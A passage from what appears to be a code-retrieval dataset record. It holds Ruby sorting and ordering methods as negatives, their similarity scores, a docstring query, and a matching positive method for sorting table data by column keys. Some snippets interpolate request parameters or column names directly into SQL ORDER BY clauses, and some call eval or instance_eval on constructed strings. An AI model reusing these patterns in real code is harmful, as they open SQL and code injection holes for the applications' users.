"def sort(options = {})\n if options.has_key?(:get)\n options[:get] = to_key(options[:get])\n\n Stal.solve(redis, [\"SORT\", key, *Utils.sort_options(options)])\n else\n fetch(Stal.solve(redis, [\"SORT\", key, *Utils.sort_options(options)]))\n end\n end",
"def sort_array\n @data.sorted_by.inject([]) do |memo, (key, value)|\n memo << [@data.columns.index(key), value == 'descending' ? 0 : 1]\n end\n end",
"def sorting\n sort_no = 0\n sorts = []\n\n loop do\n sorted = false\n name_col = \"iSortCol_#{sort_no}\"\n name_mode = \"sSortDir_#{sort_no}\"\n sort_col = @dts[name_col]\n break if !sort_col\n\n col_name = @columns[sort_col.to_i]\n next if !col_name\n\n if @dts[name_mode] == \"desc\"\n sort_mode = \"DESC\"\n else\n sort_mode = \"ASC\"\n end\n\n if match = col_name.to_s.match(/^(.+)_id$/)\n method_name = match[1]\n sub_model_name = StringCases.snake_to_camel(col_name.slice(0, col_name.length - 3))\n\n if Kernel.const_defined?(sub_model_name)\n sub_model_const = Kernel.const_get(sub_model_name)\n unless @joins.key?(method_name)\n @query = @query.includes(method_name)\n @joins[method_name] = true\n end\n\n @sort_columns.each do |sort_col_name|\n if sub_model_const.column_names.include?(sort_col_name.to_s)\n sorts << \"`#{sub_model_const.table_name}`.`#{escape_col(sort_col_name)}` #{sort_mode}\"\n sorted = true\n break\n end\n end\n end\n end\n\n if @model.column_names.include?(col_name.to_s)\n sorts << \"`#{@model.table_name}`.`#{escape_col(col_name)}` #{sort_mode}\"\n elsif @args[:sort]\n res = @args[:sort].call(:key => col_name, :sort_mode => sort_mode, :query => @query)\n @query = res if res\n else\n raise \"Unknown sort-column: '#{col_name}'.\"\n end\n\n sort_no += 1\n end\n\n @query = @query.order(sorts.join(\", \"))\n end",
"def sort_fields(fields)\n fields.sort {|a,b| (COLUMN_SORTING_MAP[a] || a).to_s <=> (COLUMN_SORTING_MAP[b] || b).to_s }\n end",
"def sort_column(columns)\n columns[params[\"order\"][\"0\"][\"column\"].to_i]\n end",
"def sort(column_name)\n results = CONNECTION.execute(\"SELECT * FROM #{table_name} ORDER BY #{column_name} DESC;\")\n results_as_objects(results)\n end",
"def sorted\n all.order(%[ #{quoted_table_name}.\"recorded_at\", #{quoted_table_name}.\"hid\" ])\n end",
"def sort(*fields)\n params(sort: fields.join(SORT_VALUES_SEPARATOR))\n end",
"def sort_by!( *headers )\n raise ArgumentError, 'Sheet#sort_by! does not support blocks.' if block_given?\n idx_array = headers.flatten.map { |header| data.index_by_header( header ) - 1 }\n sort_method = lambda { |array| idx_array.map { |idx| array[idx] } }\n data.sort_by!( &sort_method )\n self\n rescue ArgumentError => err\n raise( NoMethodError, 'Item not comparable in \"' + headers.flatten.map(&:to_s).join(', ') + '\"' ) if err.message == 'comparison of Array with Array failed'\n raise err\n end",
"def table_sort_string table_code\n sorting = table_preferences(table_code)[:sort]\n column = sorting.first \n key = column.keys.first \n order_string = (column[key] == :descending) ? \"DESC\" : \"ASC\"\n fallback_key = DEFAULT_TABLE_PREFERENCES[table_code.to_sym][:sort].first.keys[0]\n sort_column = SORT_COLUMN[table_code][key] || SORT_COLUMN[table_code][fallback_key]\n return \"#{sort_column} #{order_string}\"\n end",
"def sort_by!( &block )\n @data = skip_headers { |d| d.sort_by( &block ) }; self\n end",
"def sort_cols(cols)\n cols.sort {|a,b| COLUMN_SORTING_MAP[a].to_s <=> COLUMN_SORTING_MAP[b].to_s }\n end",
"def sort(table_name, list, sort_by, order, per_page, default)\r\n\r\n if table_name.has_attribute?(sort_by) && (order == \"asc\" || order == \"desc\")\r\n list = list.sort_by{|item| item[sort_by].to_s.downcase}\r\n if order == \"desc\"\r\n list = list.reverse\r\n end\r\n list \r\n else\r\n # default case\r\n list.sort_by{|item| item[default].downcase}\r\n end\r\n\r\n end",
"def sorted\n all.order(Arel.sql(%[ #{quoted_table_name}.\"recorded_at\" ASC, #{quoted_table_name}.\"hid\" ASC ]))\n end",
"def sort(key, **options)\n keys = [key, options[:by], options[:store], *Array(options[:get])].compact\n\n ensure_same_node(:sort, keys) do |node|\n node.sort(key, **options)\n end\n end",
"def tableView_sortDescriptorsDidChange(aTableView, oldDescriptors)\n\t\tsort_descriptors = aTableView.sortDescriptors\n\t\tputs sort_descriptors\n\t\tputs oldDescriptors\n\t\t@order = \"\"\n\t\t@order = sort_descriptors.map { |sd| \"lower(#{ sd.key }) #{ sd.ascending ? 'asc' : 'desc' }\" }.join(', ') if sort_descriptors.any?\n\n\t\treload\n\tend",
"def sort_docs_by_key!\n meta_key = metadata[\"sort_by\"]\n # Modify `docs` array to cache document's property along with the Document instance\n docs.map! { |doc| [doc.data[meta_key], doc] }.sort! do |apples, olives|\n order = determine_sort_order(meta_key, apples, olives)\n\n # Fall back to `Document#<=>` if the properties were equal or were non-sortable\n # Otherwise continue with current sort-order\n if order.nil? || order.zero?\n apples[-1] <=> olives[-1]\n else\n order\n end\n\n # Finally restore the `docs` array with just the Document objects themselves\n end.map!(&:last)\n end",
"def sort_array_desc (array)\n array.sort_by do |sort|\n -sort\n end\nend",
"def sort_desc(scoped, sort)\n sort ? Hash[scoped.sort_by { |_name, values| values.count }.reverse] : scoped\n end",
"def sort(*sorts)\n query('sort' => sorts)\n end",
"def order_by(*sort_heads)\n # Sort the rows in order and add to new_rows.\n key_hash = partition_sort_keys(sort_heads)\n new_rows = rows.sort do |r1, r2|\n # Set the sort keys based on direction\n key1 = []\n key2 = []\n key_hash.each_pair do |h, dir|\n if dir == :forward\n key1 << r1[h]\n key2 << r2[h]\n else\n key1 << r2[h]\n key2 << r1[h]\n end\n end\n # Make any booleans comparable with <=>\n key1 = key1.map_booleans\n key2 = key2.map_booleans\n\n # If there are any nils, <=> will return nil, and we have to use the\n # special comparison method, compare_with_nils, instead.\n result = (key1 <=> key2)\n result.nil? ? compare_with_nils(key1, key2) : result\n end\n\n # Add the new_rows to the table, but mark a group boundary at the points\n # where the sort key changes value. NB: I use self.class.new here\n # rather than Table.new because if this class is inherited, I want the\n # new_tab to be an instance of the subclass. With Table.new, this\n # method's result will be an instance of FatTable::Table rather than of\n # the subclass.\n new_tab = empty_dup\n last_key = nil\n new_rows.each_with_index do |nrow, k|\n new_tab << nrow\n key = nrow.fetch_values(*key_hash.keys)\n new_tab.mark_boundary(k - 1) if last_key && key != last_key\n last_key = key\n end\n new_tab.normalize_boundaries\n new_tab\n end",
"def reverse_columns!\n data.reverse_columns!; self\n end",
"def order_by *columns\n @order += [columns].flatten\n end",
"def order(*args)\n sql_records = records.__send__ :order, *args\n end",
"def prepared_columns(cols)\n RUBY_VERSION >= '1.9' ? cols.sort : cols.sort_by(&:to_s)\n end",
"def desc\n if @order_by.nil?\n raise Exceptions::IllegalStateException, 'You must call order_by method before call this method'\n end\n\n @order_by.asc = false\n\n self\n end",
"def sort(column=@sort_by, asc = @sort_order)\n column_format = format[index(column)]\n x_sort_string = \"x.data[index('#{column}')]\"\n y_sort_string = \"y.data[index('#{column}')]\"\n \n if !(NUMBER_FORMATS + DATE_FORMATS).include? format[index(column)]\n x_sort_string = x_sort_string + \".to_s\"\n y_sort_string = y_sort_string + \".to_s\"\n end\n \n if NUMBER_FORMATS.include? format[index(column)]\n x_sort_string = x_sort_string + \".to_f\"\n y_sort_string = y_sort_string + \".to_f\" \n end\n\n # Sort the rows:\n # By returning -1 in case the comparison fails, we ensure that the sort never raises an error; however,\n # we may not get a proper sort, but it's better to have the app not fail\n @rows.sort! {|x, y| (instance_eval(x_sort_string) <=> instance_eval(y_sort_string)) || -1}\n \n @rows.reverse! unless asc\n end",
"def sort_array_by_fields(array, default_order = \"launched_on\")\n sort_by = self.class::SORT_FIELDS[params[:order_by] || default_order]\n array = array.sort(&sort_by)\n\n params[:order_dir] != Sortable::DIRECTION_ASC ? array.reverse : array\n end",
"def sort_keys\n sort_key_column_names = if can_optimise_for_different_table?\n [foreign_key_column_name_to_optimised_table]\n else\n [primary_key_column_name].compact\n end\n\n sort_key_column_names + DEFAULT_SORT_KEYS.select { |column_name| table_includes_column?(column_name) }\n end",
"def sort(key, **options); end",
"def index_sort_order\n @query = {}\n @query['sort_key'] = params['sort_key'] unless params['sort_key'].blank?\n\n if @query['sort_key']&.starts_with?('-')\n \"#{@query['sort_key'].delete_prefix('-')} DESC\"\n elsif @query['sort_key'].present?\n \"#{@query['sort_key']} ASC\"\n else\n 'updated_at DESC'\n end\n end",
"def sort_by_key(key = :name)\n sort do |x, y|\n x_value = x[key]\n y_value = y[key]\n x_value <=> y_value\n end\n end",
"def sorting\n @records = Record.all #Get existing records\n @sortType = params[:sortType] #Get parameters from the form on index\n @sortField = params[:sortField]\n\n @limit = params[:sortNum].to_i # params must be converted from string\n\n if @sortType == \"Decending\" # check if sort direction is decending\n case @sortField #check what header to sort by\n when \"id\" # when table header is ID sort by ID descending\n @sortedSet = Record.order(id: :desc).limit(@limit)\n when \"REF_DATE\"\n @sortedSet = Record.order(REF_DATE: :desc).limit(@limit)\n when \"GEO\"\n @sortedSet = Record.order(GEO: :desc).limit(@limit)\n when \"DGUID\"\n @sortedSet = Record.order(DGUID: :desc).limit(@limit)\n when \"Sex\"\n @sortedSet = Record.order(Sex: :desc).limit(@limit)\n when \"Age_group\"\n @sortedSet = Record.order(Age_group: :desc).limit(@limit)\n when \"Student_response\"\n @sortedSet = Record.order(Student_response: :desc).limit(@limit)\n when \"UOM\"\n @sortedSet = Record.order(UOM: :desc).limit(@limit)\n when \"UOM_ID\"\n @sortedSet = Record.order(UOM_ID: :desc).limit(@limit)\n when \"SCALAR_FACTOR\"\n @sortedSet = Record.order(SCALAR_FACTOR: :desc).limit(@limit)\n when \"SCALAR_ID\"\n @sortedSet = Record.order(SCALAR_ID: :desc).limit(@limit)\n when \"VECTOR\"\n @sortedSet = Record.order(VECTOR: :desc).limit(@limit)\n when \"COORDINATE\"\n @sortedSet = Record.order(COORDINATE: :desc).limit(@limit)\n when \"VALUE\"\n @sortedSet = Record.order(VALUE: :desc).limit(@limit)\n when \"STATUS\"\n @sortedSet = Record.order(STATUS: :desc).limit(@limit)\n when \"SYMBOL\"\n @sortedSet = Record.order(SYMBOL: :desc).limit(@limit)\n when \"TERMINATED\"\n @sortedSet = Record.order(TERMINATED: :desc).limit(@limit)\n when \"DECIMALS\"\n @sortedSet = Record.order(DECIMALS: :desc).limit(@limit)\n \n end # end case/when\n else # if not decending its ascending\n case @sortField # check header to sort by\n when \"id\" # when table header is ID sort by ID ascending\n @sortedSet = Record.order(id: :asc).limit(@limit)\n when \"REF_DATE\"\n @sortedSet = Record.order(REF_DATE: :asc).limit(@limit)\n when \"GEO\"\n @sortedSet = Record.order(GEO: :asc).limit(@limit)\n when \"DGUID\"\n @sortedSet = Record.order(DGUID: :asc).limit(@limit)\n when \"Sex\"\n @sortedSet = Record.order(Sex: :asc).limit(@limit)\n when \"Age_group\"\n @sortedSet = Record.order(Age_group: :asc).limit(@limit)\n when \"Student_response\"\n @sortedSet = Record.order(Student_response: :asc).limit(@limit)\n when \"UOM\"\n @sortedSet = Record.order(UOM: :asc).limit(@limit)\n when \"UOM_ID\"\n @sortedSet = Record.order(UOM_ID: :asc).limit(@limit)\n when \"SCALAR_FACTOR\"\n @sortedSet = Record.order(SCALAR_FACTOR: :asc).limit(@limit)\n when \"SCALAR_ID\"\n @sortedSet = Record.order(SCALAR_ID: :asc).limit(@limit)\n when \"VECTOR\"\n @sortedSet = Record.order(VECTOR: :asc).limit(@limit)\n when \"COORDINATE\"\n @sortedSet = Record.order(COORDINATE: :asc).limit(@limit)\n when \"VALUE\"\n @sortedSet = Record.order(VALUE: :asc).limit(@limit)\n when \"STATUS\"\n @sortedSet = Record.order(STATUS: :asc).limit(@limit)\n when \"SYMBOL\"\n @sortedSet = Record.order(SYMBOL: :asc).limit(@limit)\n when \"TERMINATED\"\n @sortedSet = Record.order(TERMINATED: :asc).limit(@limit)\n when \"DECIMALS\"\n @sortedSet = Record.order(DECIMALS: :asc).limit(@limit) \n end\n end\n \n end",
"def sort(*arguments, &block)\n data.sort(*arguments, &block)\n end",
"def sort_by(att, options = {})\n sort(options.merge(:by => to_key(att)))\n end",
"def order(*args)\r\n args.map!{ |arg| arg.is_a?(Hash) ? arg.map{ |k,v| \"#{k} #{v.upcase}\"} : arg }\r\n order = args.flatten(2).join(\", \")\r\n\r\n rows = connection.execute <<-SQL\r\n SELECT * FROM #{table}\r\n ORDER BY #{order};\r\n SQL\r\n\r\n rows_to_array(rows)\r\n end",
"def sort\n @pokers.sort.reverse\n end",
"def rsort(versions)\n self::usort(versions, self::SORT_DESC)\n end",
"def columns_in_order\n @columns.values.sort_by { |c| c.order }\n end",
"def api_sort(params)\n dataset = self.clone\n\n # Sort attribute\n if sort = params['sort']\n if model.attr_orders.include?(sort.to_sym)\n dataset = dataset.order sort.to_sym\n else\n raise ApiException.new(\"invalid sort attribute (#{sort})\")\n end\n elsif dataset.opts[:order].nil?\n # Order by ID.\n dataset = dataset.order(:\"#{model.table_name}__id\")\n end\n \n # Sort order\n if dir = params['order']\n order = dataset.opts[:order].map do |term|\n if dir == 'asc'\n if term.kind_of? Sequel::SQL::OrderedExpression\n # This is already ordered; modify the direction\n term.expression.asc\n else\n term.asc\n end\n elsif dir == 'desc'\n if term.kind_of? Sequel::SQL::OrderedExpression\n # This is already ordered; modify the direction\n term.expression.desc\n else\n term.desc\n end\n else\n raise ApiException, \"invalid order (#{params['order']}) is not 'asc' or 'desc'\"\n end\n end\n # Apply order\n dataset = dataset.order(*order)\n end\n\n dataset\n end",
"def sortByCountDecreasing\r\n @counts.sort_by { |k,v| v }.reverse\r\n end",
"def sort_by(options)\n self.sort = options\n end",
"def sort_rows(rows, sorts)\n RecordSorter.new(rows).sort(sorts)\n end",
"def sort_if_needed(deliverables)\n if session[@sort_name] && %w(score spent progress labor_budget).include?(session[@sort_name][:key])\n case session[@sort_name][:key]\n when \"score\" then\n sorted = deliverables.sort {|a,b| a.score <=> b.score}\n when \"spent\" then\n sorted = deliverables.sort {|a,b| a.spent <=> b.spent}\n when \"progress\" then\n sorted = deliverables.sort {|a,b| a.progress <=> b.progress}\n when \"labor_budget\" then\n sorted = deliverables.sort {|a,b| a.labor_budget <=> b.labor_budget}\n end\n\n return sorted if session[@sort_name][:order] == 'asc'\n return sorted.reverse! if session[@sort_name][:order] == 'desc'\n else\n return deliverables\n end\n end",
"def sort_params(model, params)\n # Keep only sortable columns\n p = params.to_s.split(',').select { |v| (model.allowed_columns || []).include?(v.sub(/^-/, '').to_sym) }\n\n p.map do |v|\n if v[0] == '-'\n # Descending sort\n Sequel.desc(v[1..-1].to_sym)\n else\n # Ascending sort\n Sequel.asc(v.to_sym)\n end\n end\n end",
"def manual_sort!(array, sort_column)\n c = sort_column.column\n if sort_column && sort_column.direction == 'desc'\n array.sort! { |x, y| y.send(c) <=> x.send(c) }\n else\n array.sort! { |x, y| x.send(c) <=> y.send(c) }\n end\n end",
"def sort_array_desc(integers)\n integers.sort.reverse\nend",
"def sort_array_desc(integers)\n integers.sort.reverse\nend",
"def sorted(subjects)\n subjects.sort_by {|subject| subject['updated_at'] }.reverse\n end",
"def sort(sort)\n self.query.sort = sort\n self.query.sort_descending = false\n self\n end",
"def sort_array_desc (integers)\n integers.sort.reverse\nend",
"def sort_column\n columns = %w[id]\n columns[params[:iSortCol_0].to_i]\n end",
"def sort_by(att, options = {})\n sort(options.merge(:by => model.key(\"*\", att)))\n end",
"def order(*columns)\n Lotus::Utils::Kernel.Array(columns).each do |column|\n conditions.push(Proc.new{ sort_by{|r| r.fetch(column)} })\n end\n\n self\n end",
"def sort!(field, desc=false)\n if desc\n @messages.sort! { |a, b| b[field] <=> a[field] }\n else\n @messages.sort! { |a, b| a[field] <=> b[field] }\n end #if\n end",
"def sort_table column, human_name, date_param = nil\n\t\thtml = \"\"\n\t\t\n\t\t# if already sorting by this column then it reverses the sort\n\t\tif (request.url.include? column) && !(request.url.include? \"DESC\")\n\t\t\tif date_param\n\t\t\t\t# TODO: Return from this depth, makes for a simpler function\n\t\t\t\thtml << (link_to human_name, :sort => column + \" DESC\", :date => date_param).html_safe\n\t\t\telse\n\t\t\t\thtml << (link_to human_name, :sort => column + \" DESC\").html_safe\n\t\t\tend\n\t\telse\n\t\t\tif date_param\n\t\t\t\thtml << (link_to human_name, :sort => column, :date => date_param).html_safe\n\t\t\telse\n\t\t\t\thtml << (link_to human_name, :sort => column).html_safe\n\t\t\tend\n\t\tend\n\t\t\n\t\thtml.html_safe\n\tend",
"def check_sort_options #:nodoc:\r\n table_name = @tables.first[1]\r\n return if session[table_name][:sort].nil? || @records.class != Mongoid::Criteria\r\n\r\n sort, direction = session[table_name][:sort].split(' ')\r\n @records = @records.order_by( sort => direction.to_i )\r\nend",
"def inverse\n OrderBy.new(@field, @dir == :asc ? :desc : :asc)\n end",
"def sort_items_by_descending_scores_and_ascending_timestamp(items)\n items.sort! {|a, b| a['timestamp'] <=> b['timestamp']}\n items.sort! {|a, b| b['score'] <=> a['score']}\nend",
"def sort(field, direction = 'desc')\n @sorting = { field => direction }\n self\n end",
"def sort_items\n @items = @items.sort_by(&:created_at) if params[:order] == 'date'\n @items = @items.sort_by(&:created_at).reverse if params[:order] == 'date desc'\n @items = @items.sort_by(&:payee) if params[:order] == 'payee'\n @items = @items.sort_by(&:payee).reverse if params[:order] == 'payee desc'\n @items = @items.sort_by(&:description) if params[:order] == 'descr'\n @items = @items.sort_by(&:description).reverse if params[:order] == 'descr desc'\n @items = @items.sort_by(&:amount) if params[:order] == 'saldo'\n @items = @items.sort_by(&:amount).reverse if params[:order] == 'saldo desc'\n @items = @items.sort_by(&:category_id) if params[:order] == 'cat'\n @items = @items.sort_by(&:category_id).reverse if params[:order] == 'cat desc'\n end",
"def sort(individual_audits, order_by, sort_direction)\n return individual_audits if order_by.blank? || sort_direction.blank?\n\n # Satisfy brakeman with additional sanitation logic\n dir = sort_direction == 'asc' ? 'asc' : 'desc'\n\n case order_by\n when 'user'\n individual_audits = if dir == 'asc'\n individual_audits.sort_by { |a| a[:user] }\n else\n individual_audits.sort_by { |a| a[:user] }.reverse\n end\n when 'timestamp'\n individual_audits = if dir == 'asc'\n individual_audits.sort_by { |a| a[:timestamp] }\n else\n individual_audits.sort_by { |a| a[:timestamp] }.reverse\n end\n end\n\n individual_audits\n end",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort_array_desc(array)\n array.sort.reverse\nend",
"def sort!( &block )\n @data = skip_headers { |d| d.sort( &block ) }; self\n end",
"def sort_column\n nil\n end",
"def sort_column\n Note.column_names.include?(params[:sort]) ? params[:sort] : \"updated_at\"\n end",
"def apply_sort(query, table, column_name, allowed, direction)\n validate_query_table_column(query, table, column_name, allowed)\n validate_sorting(column_name, allowed, direction)\n\n # allow sorting by field mappings\n sort_field = @build.build_custom_calculated_field(column_name)&.fetch(:arel)\n sort_field = table[column_name] if sort_field.blank?\n\n if sort_field.is_a? String\n sort_field\n elsif direction == :desc\n Arel::Nodes::Descending.new(sort_field)\n else\n #direction == :asc\n Arel::Nodes::Ascending.new(sort_field)\n end => sort_field_by\n\n query.order(sort_field_by)\n end",
"def calls_sort_option\n column = case params[:iSortCol_0].to_s\n when '1'\n 'number'\n when '2'\n 'caller_id'\n when '3'\n 'providers.name'\n when '4'\n 'answered'\n when '5'\n 'busy'\n when '6'\n 'audio_length'\n when '7'\n 'ring_length'\n end\n column + ' ' + (params[:sSortDir_0] =~ /^A/i ? 'asc' : 'desc') if column\n end",
"def sort_params_for(model_class)\n return {} if params[:sort].nil?\n model_methods = model_class.attribute_names\n sort_params_a = params[:sort].gsub(/\\s+/, '').split(',')\n sort_params = {}\n sort_params_a.each do |h|\n param_name= h.tr('-','')\n #raise Exceptions::InvalidSortException unless model_methods.include? param_name\n sort_params[param_name.to_sym] = (h[0]=='-' )? :desc : :asc if model_methods.include? param_name\n end\n sort_params\n end",
"def sort_types\n @sort_types ||= begin\n sql = <<-SQLT\n SELECT\n CASE\n WHEN min(sortkey) < 0 THEN 'interleaved'\n ELSE 'compound'\n END AS sort_type, tablename\n FROM pg_table_def\n WHERE tablename in (#{tables_for_sql})\n GROUP BY tablename\n SQLT\n RailsRedshiftReplicator.connection.exec(sql.squish).entries\n end\n end",
"def sort_column\n Order.column_names.include?(params[:sort]) ? params[:sort] : \"updated_at\"\n end",
"def sort_by_key(ascending=true, num_partitions=nil)\n self.sort_by('lambda{|(key, _)| key}')\n end",
"def check_sort_options() #:nodoc:\r\n table_name = @tables.first[1]\r\n old_sort = session[table_name][:sort].to_s\r\n sort, direction = old_sort.split(' ')\r\n# sort is requested\r\n if params['sort']\r\n # reverse sort if same selected\r\n if params['sort'] == sort\r\n direction = (direction == '1') ? '-1' : '1'\r\n end\r\n direction ||= 1\r\n sort = params[:sort]\r\n session[table_name][:sort] = \"#{params['sort']} #{direction}\"\r\n session[table_name][:page] = 1\r\n end\r\n @records.sort( sort => direction.to_i ) if session[table_name][:sort]\r\n params['sort'] = nil # otherwise there is problem with other links\r\nend",
"def sort_array_desc(array)\n new = array.sort\n new.reverse\nend",
"def sort_sql_helper(param)\n return param.gsub('_reverse',\" DESC\")\n end",
"def update_table_prefs table_code, sort_column, sort_order, columns_string=nil \n # Get the user's current set of preferences for all tables.\n all_table_prefs = eval(self.table_preferences.to_s) || {}\n this_table_prefs = all_table_prefs[table_code.to_sym] || {}\n\n # Update the sort order\n if sort_column\n sort_params = {}\n asc_desc = (sort_order.to_s.downcase == \"descending\") ? :descending : :ascending\n sort_params[sort_column.to_sym] = asc_desc \n sort_params = [sort_params]\n this_table_prefs[:sort] = sort_params\n end \n\n # Update the selected columns\n if columns_string\n columns = columns_string.split(',').map{ |x| x.downcase.strip.to_sym}\n this_table_prefs[:columns] = columns\n end\n all_table_prefs[table_code.to_sym] = this_table_prefs\n self.update(table_prefs: all_table_prefs)\n end",
"def sort_dumped_tables(tables, options=OPTS)\n if options[:foreign_keys] != false && supports_foreign_key_parsing?\n table_fks = {}\n tables.each{|t| table_fks[t] = foreign_key_list(t)}\n # Remove self referential foreign keys, not important when sorting.\n table_fks.each{|t, fks| fks.delete_if{|fk| fk[:table] == t}}\n tables, skipped_foreign_keys = sort_dumped_tables_topologically(table_fks, [])\n options[:skipped_foreign_keys] = skipped_foreign_keys\n tables\n else\n tables\n end\n end",
"def sort\n @key_users.values.sort { |a, b| a.qnkeys <=> b.qnkeys }\n end",
"def sortable(default_order: {})\n # get the parameter\n sort_by = params[:sort] || params[:sort_by]\n\n if sort_by.is_a?(String)\n # split it\n sort_by_attrs = sort_by.gsub(/[^a-zA-Z0-9\\-_,]/, '').split(',')\n\n # save it\n @sortable_sort = {}\n sort_by_attrs.each do |attrb|\n if attrb.match(/^-/)\n @sortable_sort[attrb.gsub(/^-/, '')] = :desc\n else\n @sortable_sort[attrb] = :asc\n end\n end\n else\n @sortable_sort = default_order\n end\n end"
] |
[
"0.67709315",
"0.61913806",
"0.6041815",
"0.5955657",
"0.58654803",
"0.5819487",
"0.5719023",
"0.56759936",
"0.56563205",
"0.5629016",
"0.5552609",
"0.5478927",
"0.53748477",
"0.5373112",
"0.5331856",
"0.5313344",
"0.52585787",
"0.5248222",
"0.52466464",
"0.5220477",
"0.520249",
"0.5154681",
"0.510551",
"0.5097142",
"0.5094222",
"0.5093704",
"0.505143",
"0.5045132",
"0.50394136",
"0.5034546",
"0.50177974",
"0.5015692",
"0.50116074",
"0.5011218",
"0.4999205",
"0.4992991",
"0.49829346",
"0.49808753",
"0.49716407",
"0.49074158",
"0.49008128",
"0.48874864",
"0.48737937",
"0.48711425",
"0.48670793",
"0.48554263",
"0.48538974",
"0.48151278",
"0.48084164",
"0.48056006",
"0.4801372",
"0.47982398",
"0.47944593",
"0.47868627",
"0.4780913",
"0.4780753",
"0.47679317",
"0.4765139",
"0.4754775",
"0.47461867",
"0.47313544",
"0.47177896",
"0.4717723",
"0.47154737",
"0.471488",
"0.47103727",
"0.47097486",
"0.4700746",
"0.46911618",
"0.46736616",
"0.46715507",
"0.4664975",
"0.46596026",
"0.46525836",
"0.46478757",
"0.46444482",
"0.46443647",
"0.4643157",
"0.46372065",
"0.4631067",
"0.4631067",
"0.4631067",
"0.4631067",
"0.4631067",
"0.4630072",
"0.46299306",
"0.46296293",
"0.46164936",
"0.46102542",
"0.46093345",
"0.46036136",
"0.45923644",
"0.45820996",
"0.45801848",
"0.45780733",
"0.45776972",
"0.45764077",
"0.45752478",
"0.45730203",
"0.4565291"
] |
0.8057964
|
0
|
Sorts the receiver's data using the specified sort order and keys. +is_ascending+:: Whether to sort the data in ascending order or not. +sort_keys+:: A list of column IDs to sort on. If table does not have a column with one of the IDs, that ID is ignored.
|
def sort_data!(is_ascending, sort_keys)
sort_key_indices = sort_keys.collect { |key| @columns.index(@columns.find { |column| column.id == key }) }.reject { |e| !e }
@data.sort! do |row1, row2|
comparison_result = 0
sort_key_indices.each do |index|
comparison_result = @columns[index].data_comparator.call(row1[index], row2[index])
comparison_result *= -1 if !is_ascending
break unless comparison_result == 0
end
comparison_result
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sort_data_ascending!(*sort_keys)\n self.sort_data!(true, sort_keys)\n end",
"def sort(sort_keys, *args)\n raise NotImplementedError\n end",
"def sort_data_descending!(*sort_keys)\n self.sort_data!(false, sort_keys)\n end",
"def sort_data\n sort_cols = @columns.select{ |col| col.sort_order }.sort_by{ |col| col.sort_order }\n if sort_cols.length > 0\n log.fine \"Sorting by #{sort_cols.map(&:header).to_sentence}\"\n @data.sort! do |a, b|\n ord = nil\n sort_cols.each do |col|\n if col.sort_ascending\n a_val = a[col.column_index]\n b_val = b[col.column_index]\n else\n a_val = b[col.column_index]\n b_val = a[col.column_index]\n end\n ord = a_val <=> b_val || (a_val && 1) || (b_val && -1) || 0\n break unless ord == 0\n end\n ord\n end\n end\n end",
"def sort sortfield = :id, descending = false\n @sortfield = sortfield.to_sym\n reverse = descending ? -1 : 1\n @data = @data.compact.sort { |us1, us2|\n comp =\n if us1[@sortfield] && us2[@sortfield]\n us1[@sortfield] <=> us2[@sortfield]\n elsif us1[@sortfield]\n 1\n elsif us2[@sortfield]\n -1\n else\n 0\n end\n comp * reverse\n }\n end",
"def sort_by(key, options = {})\n # backwards compat: if options is not a hash, it is a sort ordering.\n unless options.is_a?Hash\n sort_order = options\n options = {\n order: sort_order,\n case_insensitive: false,\n }\n end\n\n options = {\n order: :ascending,\n }.merge(options)\n\n order = options[:order].to_s\n\n if order[0,4].downcase == 'desc'\n ascending = false\n else\n ascending = true\n end\n\n if options[:case_insensitive]\n descriptor = NSSortDescriptor.sortDescriptorWithKey(key, ascending: ascending, selector: \"localizedCaseInsensitiveCompare:\")\n else\n descriptor = NSSortDescriptor.sortDescriptorWithKey(key, ascending: ascending)\n end\n\n clone(sort_descriptors: @sort_descriptors + [descriptor])\n end",
"def sort(key, **options)\n keys = [key, options[:by], options[:store], *Array(options[:get])].compact\n\n ensure_same_node(:sort, keys) do |node|\n node.sort(key, **options)\n end\n end",
"def sorting\n sort_no = 0\n sorts = []\n\n loop do\n sorted = false\n name_col = \"iSortCol_#{sort_no}\"\n name_mode = \"sSortDir_#{sort_no}\"\n sort_col = @dts[name_col]\n break if !sort_col\n\n col_name = @columns[sort_col.to_i]\n next if !col_name\n\n if @dts[name_mode] == \"desc\"\n sort_mode = \"DESC\"\n else\n sort_mode = \"ASC\"\n end\n\n if match = col_name.to_s.match(/^(.+)_id$/)\n method_name = match[1]\n sub_model_name = StringCases.snake_to_camel(col_name.slice(0, col_name.length - 3))\n\n if Kernel.const_defined?(sub_model_name)\n sub_model_const = Kernel.const_get(sub_model_name)\n unless @joins.key?(method_name)\n @query = @query.includes(method_name)\n @joins[method_name] = true\n end\n\n @sort_columns.each do |sort_col_name|\n if sub_model_const.column_names.include?(sort_col_name.to_s)\n sorts << \"`#{sub_model_const.table_name}`.`#{escape_col(sort_col_name)}` #{sort_mode}\"\n sorted = true\n break\n end\n end\n end\n end\n\n if @model.column_names.include?(col_name.to_s)\n sorts << \"`#{@model.table_name}`.`#{escape_col(col_name)}` #{sort_mode}\"\n elsif @args[:sort]\n res = @args[:sort].call(:key => col_name, :sort_mode => sort_mode, :query => @query)\n @query = res if res\n else\n raise \"Unknown sort-column: '#{col_name}'.\"\n end\n\n sort_no += 1\n end\n\n @query = @query.order(sorts.join(\", \"))\n end",
"def sort_by_key(ascending=true, num_partitions=nil)\n self.sort_by('lambda{|(key, _)| key}')\n end",
"def sort(*sorts)\n query('sort' => sorts)\n end",
"def sort\n @sort ||= if order_by_primary_key?\n # Default order is by id DESC\n :desc\n else\n # API defaults to DESC order if param `sort` not present\n request_context.params[:sort]&.to_sym || :desc\n end\n end",
"def sort(options = {})\n if options.has_key?(:get)\n options[:get] = to_key(options[:get])\n\n Stal.solve(redis, [\"SORT\", key, *Utils.sort_options(options)])\n else\n fetch(Stal.solve(redis, [\"SORT\", key, *Utils.sort_options(options)]))\n end\n end",
"def sort(key, by: nil, limit: nil, get: nil, order: nil, store: nil)\n args = [:sort, key]\n args << \"BY\" << by if by\n\n if limit\n args << \"LIMIT\"\n args.concat(limit)\n end\n\n get = Array(get)\n get.each do |item|\n args << \"GET\" << item\n end\n\n args.concat(order.split(\" \")) if order\n args << \"STORE\" << store if store\n\n send_command(args) do |reply|\n if get.size > 1 && !store\n reply.each_slice(get.size).to_a if reply\n else\n reply\n end\n end\n end",
